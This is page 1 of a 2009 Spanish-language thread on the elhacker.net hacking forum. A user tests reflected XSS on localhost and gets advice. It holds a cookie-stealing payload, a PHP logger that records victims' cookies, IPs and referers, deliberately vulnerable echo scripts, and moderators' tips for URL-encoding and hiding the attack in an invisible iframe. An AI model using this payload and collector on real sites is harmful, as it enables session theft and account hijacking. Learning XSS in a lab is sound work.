elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado:


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  Nivel Web (Moderadores: sirdarckcat, WHK)
| | | | |-+  Duda sobre XSS
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: Duda sobre XSS  (Leído 5,375 veces)
pedrox@

Desconectado Desconectado

Mensajes: 48


Ver Perfil
Duda sobre XSS
« en: 2 Marzo 2009, 01:52 am »

Bueno me he puesto a leer un poco sobre XSS y hacer pruebas en mi localhost, hize un script vulnerable a XSS (vuln.php) y otro que recoge la cookie (xss.php) por la variable 'cookie'.

Entonces si entraría a:
http://localhost/xss/vuln.php?x=<script>window.location='http://localhost/xss/xss.php?cookie='+document.cookie;</script>

en un archivo llamado log.html se me escribiría la cookie, bien...
No podría meter ese enlace entre etiquetas <img> por ejemplo:

prueba.html
<img src="http://localhost/xss/vuln.php?x=<script>window.location='http://localhost/xss/xss.php?cookie='+document.cookie;</script>">

para que cuando habra prueba.html se envie la petición get con esa url y se guarde la cookie menos sospechosamente?

Intente hacerlo asi y no me rulo, pase la url por urlencode() y tampoco.

Un saludo y gracias de antemano  ;)
En línea

sirdarckcat
Aspirante a supervillano
Moderador
***
Desconectado Desconectado

Mensajes: 7.029


No estoy loco, soy mentalmente divergente


Ver Perfil WWW
Re: Duda sobre XSS
« Respuesta #1 en: 2 Marzo 2009, 02:54 am »

cambia en + por %2B y cambia document.cookie por escape(document.cookie)
En línea

WHK
Moderador Global
***
Desconectado Desconectado

Mensajes: 6.589


Sin conocimiento no hay espíritu


Ver Perfil WWW
Re: Duda sobre XSS
« Respuesta #2 en: 2 Marzo 2009, 03:06 am »

Eso no debería funcionar a menos que el explorador sea vulnerable ya que cuando encierras una ejecución de script dentro de <img> esta no debería interpretar ningún tipo de código html y mucho menos javascript, por eso en las pruebas de concepto por lo general yo coloco un iframe de tamaño 1 pixel sin bordes ni scrollbars para evitar que se vea el punto de color negro.

Por lo que yo tengo entendido no puedes causar una ejecución arbitraria desde imagenes, hojas de estilos (a exepción de msie con expresion()), etc. Lo que si puedes hacer es causar un CSRF y esas cosas porque los headers se interpretan igual ya sean cookies, redirecciones, autentificación de acceso, etc.
En línea

sirdarckcat
Aspirante a supervillano
Moderador
***
Desconectado Desconectado

Mensajes: 7.029


No estoy loco, soy mentalmente divergente


Ver Perfil WWW
Re: Duda sobre XSS
« Respuesta #3 en: 2 Marzo 2009, 04:55 am »

el lo que quiere es guardar en la cookie el valor
supongo despues la aplicacion imprime el valor de la cookie

de hecho usando esta tecnica puedes bypasear noscript.. ve la vulnerabilidad de los routers motorola que puse en Test.
En línea

pedrox@

Desconectado Desconectado

Mensajes: 48


Ver Perfil
Re: Duda sobre XSS
« Respuesta #4 en: 2 Marzo 2009, 08:07 am »

yo tengo xss.php:
Código
  1. <?php
  2. $archivo = fopen('log.html','a');
  3.  
  4. $cookie = $_GET['cookie'];
  5. $ip = $_SERVER['REMOTE_ADDR'];
  6. $re = $_SERVER['HTTP_REFERER'];
  7. $fecha=date("j F, Y, g:i a");
  8.  
  9. fwrite($archivo, '<hr>Cookie: '.$cookie.'<br>Viene de: '.$re.'<br> IP: ' .$ip. '<br> Fecha y Hora: ' .$fecha. '</hr>');
  10. fclose($archivo);
  11. ?>

lo que quiero es que al abrir prueba.html que es:
Código
  1. <title>PRUEBAS XSS</title>
  2. <img src="http://localhost/xss/vuln.php?x=<script>window.location='http://localhost/xss/xss.php?cookie='+document.cookie;</script>">
  3. </body>
  4. </html>

se ejecute el XSS y se me envie a log.html la cookie.
Espero que me entiendan, gracias por las respuestas.

Saludos,
En línea

sirdarckcat
Aspirante a supervillano
Moderador
***
Desconectado Desconectado

Mensajes: 7.029


No estoy loco, soy mentalmente divergente


Ver Perfil WWW
Re: Duda sobre XSS
« Respuesta #5 en: 2 Marzo 2009, 12:26 pm »

cual es el codigo de vuln.php?
En línea

pedrox@

Desconectado Desconectado

Mensajes: 48


Ver Perfil
Re: Duda sobre XSS
« Respuesta #6 en: 2 Marzo 2009, 14:29 pm »

Pues para hacer pruebas hize esto que es simple y crea una sesión para que me guarde el PHPSESSID:

Código
  1. <?php
  2. /* VULN XSS */
  3. $_SESSION['x'] =  true;
  4. echo $_GET['x'];
  5.  
  6. ?>

por cierto que diferencia hay entre una cookie y una sesión?

Saludos y gracias por la ayuda
 ;)
En línea

WHK
Moderador Global
***
Desconectado Desconectado

Mensajes: 6.589


Sin conocimiento no hay espíritu


Ver Perfil WWW
Re: Duda sobre XSS
« Respuesta #7 en: 2 Marzo 2009, 21:13 pm »

Código
  1. <?php
  2. /* VULN XSS */
  3. $_SESSION['x'] =  true;
  4. echo $_GET['x'];
  5.  
  6. ?>

Esa linea --> $_SESSION['x'] =  true; no le veo entido al igual que session_start() ya que no están siendo utilizadas, lo que necesitas es insertarle valores:

Código
  1. <?php
  2. /* VULN XSS */
  3. if(!$_COOKIE['x']){
  4. setcookie('x', 'test');
  5. $_COOKIE['x'] = 'test';
  6. }
  7. // echo nl2br(htmlspecialchars($_COOKIE['x'], ENT_QUOTES)); /* Forma correcta no vulnerable */
  8. echo $_COOKIE['x']; /* Forma incorrecta vulnerable */
  9. ?>

Con esto ya estás declarando el valor de la cookie y podrás probar con ella.
« Última modificación: 2 Marzo 2009, 21:16 pm por WHK » En línea

pedrox@

Desconectado Desconectado

Mensajes: 48


Ver Perfil
Re: Duda sobre XSS
« Respuesta #8 en: 2 Marzo 2009, 23:15 pm »

pero tu lo que estás haciendo hay es para que meta en $_COOKIE['x'] el XSS.
Yo lo que quiero es un XSS normal, la sesion nomas la creaba para que document.cookie tendría un valor y poder insertalo a mi archivo donde se guardarán las cookies.

Con el echo $_GET['x']; insertaba el XSS y enviaba a mi registrador de cookies el PHPSESSID.
No se si me entiendes. Aunque tb lo podría haber hecho asi, creo..:
Código
  1. <?php
  2. if(!$_COOKIE['x']){
  3.      setcookie('x', 'test');
  4. }
  5. echo $_GET['vuln'];
  6. ?>

Despues haciendo http://localhost/test.php?vuln=%3Cscript%3Ealert(document.cookie)%3C/script%3E

Obtendría: x=test

Saludos.
En línea

sirdarckcat
Aspirante a supervillano
Moderador
***
Desconectado Desconectado

Mensajes: 7.029


No estoy loco, soy mentalmente divergente


Ver Perfil WWW
Re: Duda sobre XSS
« Respuesta #9 en: 3 Marzo 2009, 06:58 am »

bah entonces whk tiene razon y el <img> no te va a servir para explotarlo.

cambia <img> por <iframe>
En línea

Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Duda sobre jueho
Hacking
JajjSalu2 1 5,044 Último mensaje 4 Febrero 2022, 05:32 am
por Panic0
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines